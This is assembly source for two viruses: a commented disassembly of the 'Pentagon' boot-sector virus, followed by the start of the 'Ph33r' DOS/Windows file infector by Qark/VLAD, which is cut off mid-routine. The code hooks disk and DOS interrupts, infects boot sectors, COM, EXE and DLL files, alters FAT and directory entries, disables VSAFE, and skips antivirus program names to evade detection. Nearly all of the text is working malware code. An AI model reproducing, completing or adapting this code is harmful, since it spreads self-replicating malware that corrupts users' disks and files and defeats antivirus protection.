DW 0 ; BPB011 - Number of hidden sectors (low order)
BPB012 DW 0 ; Number of hidden sectors (high order)
DB 10 DUP (0)
HEADNO DB 0
; Interrupt 30 (1EH) - Disk parameter table
DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0)
DB 1, 0
BP0036: CLI
MOV AX,CS ; \ Set SS to CS
MOV SS,AX ; /
MOV SP,0F000H ; Set stack pointer
MOV DS,AX ; Set DS to CS
STI
MOV BP,OFFSET BP0044+7C00H
BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction
NOP
DW004A EQU THIS WORD
MOV DH,0FCH ; Decryption key
MOV BP,OFFSET BP0059+7C00H ; Decryption start address
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
BP0052: XOR [BP+00],DH ; Decrypt a byte
INC BP ; Next byte
LOOP BP0052 ; Repeat for all of it
NOP
BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction
MOV AX,BW0413 ; Get RAM size in K
SUB AX,0005 ; Subtract five K
MOV BW0413,AX ; Replace amended RAM size
MOV CL,06 ; Bits to move
SHL AX,CL ; Convert to segment address
MOV DW0093+7C00H,AX ; Save segment address
NOP
MOV ES,AX ; Set ES to this segment
XOR DI,DI ; Move to start
MOV SI,7C00H ; From start of boot sector buffer
MOV CX,0200H ; Move one sector
CLD
REPZ MOVSB ; Move sector to high-core
NOP
; Move next section of code to a safe area
MOV DI,200H+7C00H
MOV SI,OFFSET DW008F+7C00H
MOV CX,OFFSET DB00C5-DW008F ; Length to move
PUSH DS ; \ Set ES to DS
POP ES ; /
CLD
REPZ MOVSB ; Copy program section
JMP BP0095X ; This is BP0095 in new location
DW008F DW 0B02H ; Track and sector of rest of code
DW0091 DW 100H ; Head and drive of rest of code
DW0093 DW 9EC0H ; Segment address of virus
BP0095: MOV CX,0004 ; Number of retries
BP0098: PUSH CX
MOV CX,DW7E00 ; Get track and sector number
MOV DX,DW7E02 ; Get head and drive number
MOV ES,DW7E04 ; Get buffer segment address
MOV BX,0200H ; Buffer offset
MOV AX,0201H ; Read one sector
INT 13H ; Disk I/O
JNB BP00B8 ; Branch if no error
POP CX
XOR AH,AH ; Reset floppy disk sub-system
INT 13H ; Disk I/O
LOOP BP0098 ; Retry
INT 18H ; Drop into basic
BP00B8: POP CX
MOV AX,OFFSET DW7E04 ; Address segment address
CLI
MOV SP,AX ; Point SP at segment address
STI
MOV AX,0200H ; \ Address of second section
PUSH AX ; /
RETF
DB00C5 DB 50H
; The rest of this sector is a normal PCDOS 3.20 boot sector
; which has been overwritten at 100H-122H by a character string
DB 61H, 0
XOR AH,AH
INT 16H
POP SI
POP DS
POP [SI]
DW00D0 DW 0B06H ; Track and sector numbers
DW00D2 DW 0100H ; Head and drive numbers
DB 19H
MOV SI,OFFSET DB7DB7
JMP NEAR PTR DB00C5
MOV AX,BW051C
XOR DX,DX
DIV DW7C0B
INC AL
MOV DB7C3C,AL
MOV AX,DW7C37
MOV DW7C3D,AX
MOV BX,0700H
MOV AX,DW7C37
CALL BP0137
MOV AX,DW7C18
SUB AL,DB7C3B
INC AX
PUSH AX
DB '(c) 1987 The Pentagon, Zorell Group'
DB 7CH
JMP FAR PTR EXIT
BP0129: LODSB
OR AL,AL
JZ BP0150
MOV AH,0EH
MOV BX,7
INT 10H
JMP BP0129
BP0137: XOR DX,DX
DIV DW7C18
INC DL
MOV DB7C3B,DL
XOR DX,DX
DIV DW7C1A
MOV DB7C2A,DL
MOV DW7C39,AX
BP0150: RET
MOV AH,2
MOV DX,DW7C39
MOV CL,6
SHL DH,CL
OR DH,DB7C3B
MOV CX,DX
XCHG CH,CL
MOV DL,DB7DFD
MOV DH,DB7C2A
INT 13H
RET
DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
DB 'Replace and strike any key when ready', 0DH, 0AH, 0
DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
DB 'IBMBIO COMIBMDOS COM'
ORG 01FEH
DW 0AA55H
; Second sector of virus
BP0200: CLI
MOV SP,0F000H ; Reset stack pointer
STI
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
MOV BX,004CH ; INT 13H jump address
MOV BP,01A0H ; INT 68H jump address
CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use
JE BP0219 ; Branch if not
JMP BP024E
BP0219: MOV AX,[BX] ; Get INT 13H offset
MOV DS:[BP+0],AX ; Set INT 68H to this offset
MOV AX,[BX+2] ; Get INT 13H segment
MOV DS:[BP+2],AX ; Set INT 68H to this segment
MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine
MOV AX,CS ; \ Set INT 13H segment
MOV [BX+2],AX ; /
MOV BX,0024H ; INT 9 jump address
MOV BP,01A4H ; INT 69H jump address
MOV AX,[BX] ; Get INT 9 offset
MOV DS:[BP],AX ; Set INT 69H to this offset
MOV AX,[BX+2] ; Get INT 9 segment
MOV DS:[BP+2],AX ; Set INT 69H to this segment
MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine
MOV AX,CS ; \ Set INT 9 segment
MOV [BX+02],AX ; /
JMP BP0254
BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM
ADD WORD PTR [BX],5 ; Restore the 5K
BP0254: MOV BP,OFFSET DW008F ; Address virus pointer
MOV CX,CS:[BP] ; Get track and sector
MOV DX,CS:[BP+2] ; Get head and device
MOV BX,0200H ; Address second sector
MOV CX,3 ; Three sectors to read
BP0265: PUSH CX ; Save read count
MOV AX,0201H ; Read one sector
MOV CX,CS:[BP] ; Get track and sector
CALL BP0300 ; Address to next sector
MOV CS:[BP],CX ; Save new track and sector
ADD BX,0200H ; Address next buffer area
CALL BP031B ; Read from disk
JNB BP0280 ; Branch if no error
POP CX
INT 18H ; Drop into basic
; Read file, first sector
BP0280: POP CX ; Retrieve read count
LOOP BP0265 ; Repeat for other sectors
MOV BP,OFFSET DW00D0 ; Address file pointers
MOV CX,CS:[BP] ; Get track and sector
MOV DX,CS:[BP+2] ; Get head and drive
MOV BX,1000H ; Buffer address
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP029B ; Branch if no error
INT 18H ; Drop into basic
; Read file, second sector
BP029B: CALL BP0300 ; Address to next sector
ADD BX,0200H ; Update buffer address
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP02AC ; Branch if no error
INT 18H ; Drop into basic
BP02AC: LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to decrypt
MOV AL,0AAH ; Load encryption key
PUSH CS ; \ Set DS to CS
POP DS ; /
CALL BP0315 ; Decrypt
MOV AX,CS ; \
MOV ES,AX ; ) Set ES & DS to CS
MOV DS,AX ; /
MOV DI,0100H ; Middle of 1st sector
MOV SI,OFFSET DB07BC ; Address copyright message
MOV CX,0023H ; Length of copyright message
REPZ MOVSB ; Copy copyright message
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV CX,0200H ; Length to decrypt
MOV BX,0800H ; Address boot sector store
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Decrypt
XOR AX,AX ; \ Segment zero
MOV ES,AX ; /
MOV DI,7C00H ; Boot sector buffer
MOV SI,0800H ; Address boot sector store
MOV CX,0200H ; Sector length
CLD
REPZ MOVSB ; Copy boot sector
DB 0EAH ; Far jump to boot sector
DW 7C00H, 0
DB 16 DUP (0)
; Address to next sector
BP0300: INC CL ; Increment sector number
CMP CL,0AH ; Is it sector ten?
JL BP0314 ; Branch if not
MOV CL,1 ; Set sector to one
INC DH ; Increment head
CMP DH,2 ; Is it head two?
JL BP0314 ; Branch if not
XOR DH,DH ; Set head to zero
INC CH ; Increment track
BP0314: RET
; Encrypt/decrypt
BP0315: XOR [BX],AL ; Encrypt a byte
INC BX ; Address next byte
LOOP BP0315 ; Repeat for count
RET
; Read from or write to disk
BP031B: PUSH SI
PUSH DI
MOV SI,AX ; Save function
MOV DI,CX ; Save track and sector
MOV CX,3 ; Number of retries
BP0324: PUSH CX
MOV AX,SI ; Retrieve function
MOV CX,DI ; Retrieve track and sector
INT 68H ; Disk I/O
JNB BP0338 ; Branch if no error
XOR AH,AH ; Reset sub-system
INT 68H ; Disk I/O
POP CX ; Retrieve number of retries
LOOP BP0324 ; Retry
STC
JMP BP033B
BP0338: POP CX ; Retrieve number of retries
MOV CX,DI ; Retrieve track and sector
BP033B: POP DI
POP SI
RET
; Find unused FAT entry pair
BP033E: PUSH AX
PUSH DX
PUSH ES
PUSH DI
PUSH CS
POP ES
MOV DX,CX ; Initial cluster number
XOR AL,AL ; Search for zero
BP0348: MOV CX,3 ; Three bytes to check
MOV DI,BX ; Address FAT entry pair
REPZ SCASB ; Scan for non-zero
CMP CX,0 ; Is FAT pair unused
JE BP0361 ; Branch if yes
ADD BX,3 ; Address next entry pair
ADD DX,2 ; Update entry count
CMP DX,0162H ; Entry 354?
JLE BP0348 ; Process entry pair if not
STC
BP0361: MOV CX,DX ; Cluster number found
POP DI
POP ES
POP DX
POP AX
RET
; Find and flag an unused entry
BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry
JZ BP0384 ; Branch if unused
INC CX ; Next entry number
INC BX ; Address 2nd entry
TEST WORD PTR [BX],0FFF0H ; Test second FAT entry
JZ BP038B ; Branch if unused
INC CX ; Next entry number
ADD BX,2 ; Address next entry pair
CMP CX,0163H ; Entry 355?
JLE BP0368 ; Process next FAT pair if not
STC
JMP BP0390
BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF
JMP BP038F
BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF
nop ; ** length adjustment, MASM 5.0
BP038F: CLC
BP0390: RET
; Unflag Brain virus bad clusters
BP0391: PUSH AX
PUSH BX
PUSH CX
PUSH DX
MOV DX,CX
BP0397: MOV AX,[BX] ; Get FAT entry
AND AX,0FFFH ; Isolate FAT entry
CMP AX,0FF7H ; Bad cluster?
JE BP03B8 ; Branch if yes
INC DX ; Add to cluster number
INC BX ; Address next entry
MOV AX,[BX] ; Get FAT entry
MOV CL,4 ; Bits to move
SHR AX,CL ; Move FAT entry
CMP AX,0FF7H ; Bad Cluster?
JE BP03C8 ; Branch if yes
INC DX ; Add to cluster number
ADD BX,2 ; Address next pair of entries
CMP DX,015FH ; Entry 351?
JLE BP0397 ; Process this pair if not
BP03B8: MOV WORD PTR [BX],0 ; \
MOV BYTE PTR [BX+2],0 ; ) Clear three entries
XOR WORD PTR [BX+3],0FF7H ; /
JMP BP03D5
BP03C8: XOR WORD PTR [BX],0FF7H ; \
MOV WORD PTR [BX+2],0 ; ) Clear three entries
MOV BYTE PTR [BX+4],0 ; /
BP03D5: POP DX
POP CX
POP BX
POP AX
RET
; Convert cluster number to track, head and sector
BP03DA: PUSH AX
PUSH BX
SUB CX,2 ; Subtract number of 1st cluster
ADD CX,CX ; Two sectors per cluster
ADD CX,0CH ; Add sector num of 1st cluster
MOV AX,CX ; Copy sector number
PUSH AX ; Save sector number
MOV BL,9 ; Nine sectors per track
DIV BL ; Divide by sectors per track
INC AH ; First sector is one
MOV CL,AH ; Move sector number
XOR AH,AH ; Clear top of register
MOV BL,2 ; Two heads
DIV BL ; Divide by heads
MOV DH,AH ; Move head number
POP AX ; Retrieve sector number
MOV BL,12H ; 18 sectors per track (both sides)
DIV BL ; Divide by sectors per track
MOV CH,AL ; Move track number
POP BX
POP AX
RET
; Update directory
BP0401: PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
MOV CX,000FH ; Fifteen entries per sector
XOR DI,DI ; Start of sector
CMP AX,7 ; Is this first dir sector
JNE BP0416 ; Branch if not
SUB CX,3 ; Subtract three from count
ADD DI,60H ; Address fourth entry
BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on?
JNE BP0443 ; Branch if not
CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
JNE BP0443 ; Branch if not
MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on
PUSH SI
PUSH DI
PUSH CX
ADD DI,BX ; Add sector address
LEA SI,DB07B1 ; Address label
MOV CX,000BH ; Length of new label
CLD
REPZ MOVSB ; Copy label
MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
POP CX
POP DI
POP SI
BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused?
JE BP0452 ; Branch if yes
ADD DI,20H ; Address next entry
LOOP BP0416 ; Process next entry
STC
JMP BP0487
BP0452: ADD DI,BX ; Add sector address
MOV BX,DI ; Move entry address
MOV BYTE PTR [BX],0F9H ; "Filename"
MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes
MOV CX,CS:DW0784 ; Get virus cluster number
MOV [BX+1AH],CX ; Store starting cluster
MOV WORD PTR [BX+1CH],0800H ; \ File size 2048
MOV WORD PTR [BX+1EH],0 ; /
ADD DI,20H ; Address next entry
MOV BX,DI ; Move entry address
LEA SI,DB0791 ; Address start of encrypted
MOV CX,0020H ; One complete entry to move
CLD
REPZ MOVSB ; Move entry
MOV CX,CS:DW0786 ; Get file cluster number
MOV [BX+1AH],CX ; Store starting cluster
CLC
BP0487: POP DI
POP SI
POP DX
POP CX
POP BX
RET
; Read actual boot sector - Brain infected
BP048D: PUSH AX
PUSH CX
PUSH DX
MOV CX,[BX+7] ; Get track and sector
MOV DH,[BX+6] ; Get head number
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
POP DX
POP CX
POP AX
RET
; Generate a sound
BP04A0: MOV BP,1 ; One loop
MOV AL,0B6H ; Counter two, both bytes, sq wave
OUT 43H,AL ; Set PIT control register
MOV AX,0533H ; Sound frequency
OUT 42H,AL ; Send first byte
MOV AL,AH ; Get second byte
OUT 42H,AL ; Send second byte
IN AL,61H ; Get port B
MOV AH,AL ; Save port B value
OR AL,3 ; Set sound bits on
OUT 61H,AL ; Send port B
SUB CX,CX ; Maximum loop count
BP04BA: LOOP BP04BA ; Delay
DEC BP ; Decrement count of loops
JNZ BP04BA ; Branch if not zero (it won't be)
MOV AL,AH ; Recover original port B
OUT 61H,AL ; Send port B
RET
; Int 13H routine
BP04C4: STI
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH SI
PUSH ES
PUSH DI
MOV CS:DB0790,DL ; Save device
CMP AH,2 ; Is function a read?
JE BP04DA ; Branch if yes
JMP BP06FC ; Pass on to BIOS
BP04DA: DEC CS:DB07E0 ; Decrement count
JZ BP04E4 ; Infect when zero
JMP BP06FC ; Pass on to BIOS
; Get boot sector
BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
PUSH CS ; \
POP AX ; \ Set DS & ES to CS
MOV DS,AX ; /
MOV ES,AX ; /
MOV BX,0800H ; Address boot sector store
MOV CX,1 ; Track zero, sector one
MOV DH,0 ; Head zero
MOV DL,CS:DB0790 ; Load device
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0508 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check for Brain virus
BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector?
JNE BP051D ; Branch if not
MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on
CALL BP048D ; Read actual boot sector
JNB BP052D ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check for Pentagon virus
BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon?
JNE BP052D ; Branch if not
JMP BP06FC ; Pass on to BIOS
; Check for DOS boot sector
BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector
JE BP0538 ; Branch if yes
JMP BP06FC ; Pass on to BIOS
; Get first FAT sector
BP0538: ADD BX,0200H ; Update buffer address
INC CL ; Next sector
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0549 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check media byte
BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk
JE BP0551 ; Branch if yes
JMP BP06FC ; Pass on to BIOS
; Get second sector of FAT
BP0551: ADD BX,0200H ; Update buffer address
INC CL ; Next sector
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0562 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch
JNE BP0573 ; Branch if off
MOV BX,0A03H ; Address first cluster in FAT
MOV CX,2 ; First cluster is number two
CALL BP0391 ; Unflag Brain virus bad clusters
BP0573: MOV BX,0A96H ; \ Start from cluster 100
MOV CX,0064H ; /
CALL BP033E ; Find unused FAT entry pair
JNB BP0581 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0581: MOV CS:DW0784,CX ; Save virus cluster number
INC CX ; Next cluster number
MOV [BX],CX ; Put it in first FAT entry
OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF
nop ; ** length adjustment, MASM 5.0
DEC CX ; Set cluster number back
CALL BP03DA ; Cluster num to trck/hd/sect
MOV CS:DW0788,CX ; Save virus track & sector
MOV CS:DW078A,DX ; Save virus head and drive
PUSH BP
MOV BP,OFFSET DW008F ; Address virus pointer
MOV CS:[BP+00],CX ; Save virus track & sector
MOV CS:[BP+03],DH ; Save virus head
POP BP
MOV BX,0A96H ; \ Start from cluster 100
MOV CX,0064H ; /
CALL BP0368 ; Find an unused FAT entry
JNB BP05B7 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP05B7: MOV CS:DW0786,CX ; Save file cluster number
CALL BP03DA ; Cluster num to trck/hd/sect
MOV CS:DW078C,CX ; Save file track & sector
MOV CS:DW078E,DX ; Save file head and drive
PUSH BP
MOV BP,OFFSET DW00D0 ; Address file pointers
MOV CS:[BP],CX ; Save track and sector
MOV CS:[BP+3],DH ; Save head
POP BP
MOV AL,0FCH ; Load encryption key
MOV BX,0800H ; Address boot sector store
MOV CX,0200H ; Length to encrypt
CALL BP0315 ; Encrypt/decrypt
MOV BYTE PTR CS:DB07E0,20H ; Set count to 32
LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to encrypt
MOV AL,0AAH ; Load encryption key
CALL BP0315 ; Encrypt/decrypt
MOV BX,0200H ; Virus second sector
MOV AX,0301H ; Write one sector
MOV CX,CS:DW0788 ; Get virus track & sector
MOV DX,CS:DW078A ; Get virus head and drive
MOV DL,CS:DB0790 ; Load device
CALL BP031B ; Write to disk
JNB BP0613 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0613: MOV AX,3 ; Three sectors to write
BP0616: PUSH AX ; Save write count
ADD BX,0200H ; Next sector buffer
MOV AX,0301H ; Write one sector
CALL BP0300 ; Address to next sector
CALL BP031B ; Write to disk
JB BP062D ; Branch if error
POP AX ; Retrieve write count
DEC AX ; Decrement count
JNZ BP0616 ; Repeat for each sector
JMP BP0631
BP062D: POP AX
JMP BP06FC ; Pass on to BIOS
; Write file
BP0631: LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to encrypt
MOV AL,0AAH ; Load encryption key
CALL BP0315 ; Encrypt/decrypt
MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
MOV CX,CS:DW078C ; Get file track & sector
MOV DX,CS:DW078E ; Get file head and drive
MOV DL,CS:DB0790 ; Load device
MOV BX,1000H ; Address file buffer
MOV AX,2 ; Two sectors to write
BP065B: PUSH AX ; Save write count
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
JB BP062D ; Branch if error
CALL BP0300 ; Address to next sector
ADD BX,0200H ; Address next sector buffer
POP AX ; Retrieve write count
DEC AX ; Decrement write count
JNZ BP065B ; Write each sector
MOV BX,OFFSET BP0059 ; Start of encrypted
MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Encrypt
XOR BX,BX ; Address start of virus
MOV AX,0301H ; Write one sector
MOV CX,1 ; Track zero, sector 1
XOR DH,DH ; Head zero
CALL BP031B ; Write to disk
JNB BP068C ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Write 1st FAT sector
BP068C: MOV BX,OFFSET BP0059
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Decrypt
MOV BX,0A00H ; Address 1st FAT sector
MOV AX,0301H ; Write one sector
MOV CX,2 ; Track zero, sector 2
CALL BP031B ; Write to disk
JNB BP06A8 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Write 2nd FAT sector
BP06A8: ADD BX,0200H ; Address 2nd FAT sector
MOV AX,0301H ; Write one sector
INC CX ; Next sector
CALL BP031B ; Write to disk
JNB BP06B8 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Create directory entries
BP06B8: MOV BX,0E00H ; Address directory
MOV CX,5 ; Track zero, sector 5
XOR DH,DH ; Head zero
MOV AX,7 ; Seven sectors to read
BP06C3: PUSH AX ; Save read count
MOV AX,0201H ; Read one sector
CALL BP0300 ; Address to next sector
CALL BP031B ; Read from disk
JB BP06F1 ; Branch if error
POP AX ; \ Retrieve and save read count
PUSH AX ; /
MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off
CALL BP0401 ; Update directory
JNB BP06F5 ; Branch if entry found
CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch
JNE BP06EA ; Branch if off
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
BP06EA: POP AX ; Retrieve sector count
DEC AX ; Decrement sector count
JNZ BP06C3 ; Repeat for each sector
JMP BP06FC ; Pass on to BIOS
BP06F1: POP AX
JMP BP06FC ; Pass on to BIOS
BP06F5: POP AX
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
BP06FC: POP DI
POP ES
POP SI
POP DS
POP DX
POP CX
POP BX
POP AX
INT 68H ; Disk I/O
RETF 2
; Int 9 routine
BP0709: PUSH AX
PUSH BX
PUSH DS
MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
IN AL,60H ; Get keyboard token
MOV BX,OFFSET BB0417 ; Address Key states
TEST BYTE PTR [BX],8 ; Alt key depressed?
JZ BP0736 ; Branch if not
TEST BYTE PTR [BX],4 ; Ctrl key depressed?
JZ BP0736 ; Branch if not
CMP AL,53H ; Del character token?
JNE BP0736 ; Branch if not
XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states
XOR AL,AL ; \ ?
OUT 60H,AL ; /
MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch
BP0736: POP DS
POP BX
POP AX
INT 69H ; Keyboard I/O
PUSHF
CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch
JNE BP0765 ; Branch if off
POPF
MOV AX,3 ; Set mode three
INT 10H ; VDU I/O
CLI
MOV AL,0AH ; Repeat delay 10 times
XOR CX,CX ; Maximum loop
BP074F: LOOP BP074F ; Delay
DEC AL ; Decrement delay count
JNZ BP074F ; Repeat delay for count
CALL BP04A0 ; Generate a sound
XOR CX,CX ; Maximum loop
BP075A: LOOP BP075A ; Delay
MOV BYTE PTR CS:DB07E0,5 ; Set count to 5
STI
INT 19H ; Disk bootstrap
BP0765: POPF
RETF 2
DB 27 DUP (0)
DW0784 DW 0064H ; Cluster number of virus
DW0786 DW 0066H ; Cluster number of file
DW0788 DW 0B02H ; Virus track & sector
DW078A DW 0101H ; Virus head and drive
DW078C DW 0B06H ; File track and sector
DW078E DW 0101H ; File head and drive
DB0790 DB 1 ; Device number
DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
DB07B1 DB 'Pentagon,ZG'
DB07BC DB '(c) 1987 The Pentagon, Zorell Group$'
DB07E0 DB 20H ; Infection count
DB07E1 DB 0FFH ; Infected by Brain switch
DB07E2 DB 0 ; Directory update switch
DB07E3 DB 0 ; Reboot switch
DB ' first sector in segment', 0DH, 0AH, 9, 6DH
CODE ENDS
END START


@ -0,0 +1,828 @@
;
;
; Ph33r
;
; Qark/VLAD
;
;
;
; This virus is the first ever DOS/Windows virus, infecting COM/EXE/WinEXE
; files.
; The technology of the Windows infection is superior to 'Winsurfer'
; in that the virus goes directly resident, without having to mess around
; infecting the Windows 'shell'. The Windows entry of the virus allocates
; memory, points a selector to it, copies the virus into the space and
; sets interrupt 21h to the resident virus. By careful programming it was
; possible to make both the DOS and Win interrupt handlers share the same
; code.
;
; The virus does a few interesting things:
; Disables MSAV by turning it off (DOS)
; Gets the original Int 21h using DOSSEG:109Eh (DOS)
; Won't infect a number of filenames 'AV' 'AN' 'OT' (DOS & Win)
;
; A few annoying things:
; If the DOS handler traps Int 21h AH=3Dh Windows crashes on load.
; If the virus infects WIN386.EXE Windows crashes on load.
; These have both been fixed, by removal.
;
; For some unknown reason, the virus causes Debug to crash on exit.
; I haven't fixed this, because I figure anyone who uses Debug will spot
; the virus anyway. Besides which, I haven't got a clue why it's happening :)
;
; For this virus, AVP & TBAV pick up nothing whilst F-Prot detects it
; heuristically.
;
org 0
com_entry: ;COM files begin execution here.
call exec_start
push es
pop ds
;COM file exit.
mov di,100h
push di
db 0b8h ;MOV AX,xxxx
old2 dw 20cdh
stosw
db 0b8h ;MOV AX,xxxx
old4 dw 0
stosw
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
ret
exe_entry: ;EXE files begin execution here.
call exec_start
push es
pop ds
;Setup ss:sp
mov ax,ds
add ax,10h
db 5 ;ADD AX,xxxx
old_ss dw 0
mov ss,ax
db 0bch ;MOV SP,xxxx
old_sp dw 0
;setup the return
mov ax,ds
add ax,10h
db 5 ;ADD AX,xxxx
exe_cs dw 0
push ax
db 0b8h ;MOV AX,xxxx
exe_ip dw 0
push ax
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
retf
Exec_Start:
cld
mov ax,51ffh ;Test resident.
int 21h
cmp ax,0ff51h
je exit_virus
mov ax,0fa02h ;Kill VSAFE.
mov dx,5945h ;Every DOS6+ user has a copy of this.
xor bl,bl
int 16h
mov ax,ds
dec ax
mov ds,ax ;MCB seg in DS.
xor di,di
cmp byte ptr [di],'Y' ;Z block ?
ja allocate
exit_virus:
ret
allocate:
sub word ptr [di+3],(offset virus_size*2/16)+1
sub word ptr [di+12h],(offset virus_size*2/16)+1
mov ax,word ptr [di+12h]
push es
mov es,ax
push cs
pop ds
mov cx,offset virus_size
;Get delta offset in SI
call next
next:
pop si
sub si,offset next
;Move virus to free memory.
rep movsb
mov ds,cx ;DS=CX=0 from REP MOVSB
;Set int21h
mov si,21h*4
mov di,offset i21
push si
movsw
movsw
pop si
mov di,offset orig21
movsw
movsw
mov word ptr [si-4],offset int21handler
mov word ptr [si-2],es
push es
mov ah,52h ;Thanx Neurobasher!
int 21h
mov ax,es
pop es
mov ds,ax
mov si,109eh ;DS:109Eh = Original Int 21 I hope.
lodsw
cmp ax,9090h
jne reset21
lodsb
cmp al,0e8h
jne reset21
mov word ptr es:orig21,10a0h
mov word ptr es:orig21+2,ds
reset21:
pop es
ret
db '=Ph33r='
win21: ;Windows interrupt handling begins here.
cmp ax,51feh
jne non_w_res
xchg al,ah
iret
non_w_res:
cmp ax,4b00h ;Execute.
je check_infect
cmp ah,3dh ;File Open.
je check_infect
cmp ah,56h ;Rename.
je check_infect
cmp ah,43h ;Chmod.
jne int_exit
check_infect:
pushf
pusha
push ds
push es
mov ax,0ah ;This function makes our CS writable.
mov bx,cs
int 31h
mov es,ax
call setup_infect
pop es
pop ds
popa
popf
jmp int_exit
int21handler: ;DOS interrupt handling begins here.
cmp ax,51ffh
jne non_res
xchg al,ah
iret
db 'Qark/VLAD'
non_res:
;For some reason, checking for AH=3dh crashes windows when its booting.
cmp ax,4b00h ;Execute.
je do_file
cmp ah,6ch ;Open.
je do_file
cmp ah,56h ;Rename.
je do_file
cmp ah,43h ;Chmod.
je do_file
int_exit:
db 0eah
i21 dd 0
do_file:
push es
push dx
cmp ah,6ch
jne no_6c_fix
mov dx,si
no_6c_fix:
push cs
pop es
call setup_infect
pop dx
pop es
jmp int_exit
setup_infect:
;on entry to this call, es=writable cs
;ds:dx=filename
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld
mov si,dx
asciiz:
lodsb
cmp al,0
jne asciiz
sub si,4
lodsw
or ax,2020h
cmp ax,'xe' ;EXE
je do_inf
cmp ax,'ld' ;DLL
je do_inf
cmp ax,'oc' ;COM
jne not_name
do_inf:
cmp word ptr [si-5],'68' ;Dont infect WIN386.EXE (hangs)
je not_name
mov ax,word ptr [si-5]
or ax,2020h ;Lowercase.
cmp ax,'va' ;Don't touch files that end in AV
je not_name ;eg TBAV
cmp ax,'vd' ;DV.COM checks DV.EXE
je not_name
cmp ax,'na' ;Don't touch files that end in AN
je not_name ;eg SCAN, TBSCAN
cmp ax,'to' ;Don't touch files that end in OT
je not_name ;eg F-PROT
call infect
not_name:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
ret
Infect:
;DS:DX=Filename, ES=our data segment
cld
mov ax,3d02h ;Open file to be infected.
call int21h
jnc file_opened
ret
file_opened:
xchg bx,ax ;File handle into BX.
push es
pop ds
mov ah,3fh ;Read from file.
mov cx,512
mov dx,offset virus_size
call int21h
mov si,offset virus_size
mov ax,word ptr [si]
or ax,2020h
cmp ax,'zm' ;Test for EXE header
je check_exe
jmp com_infect
check_exe:
cmp word ptr [si+12h],0afafh ;Infection marker.
jne not_infected
bad_mem:
jmp com_end
not_infected:
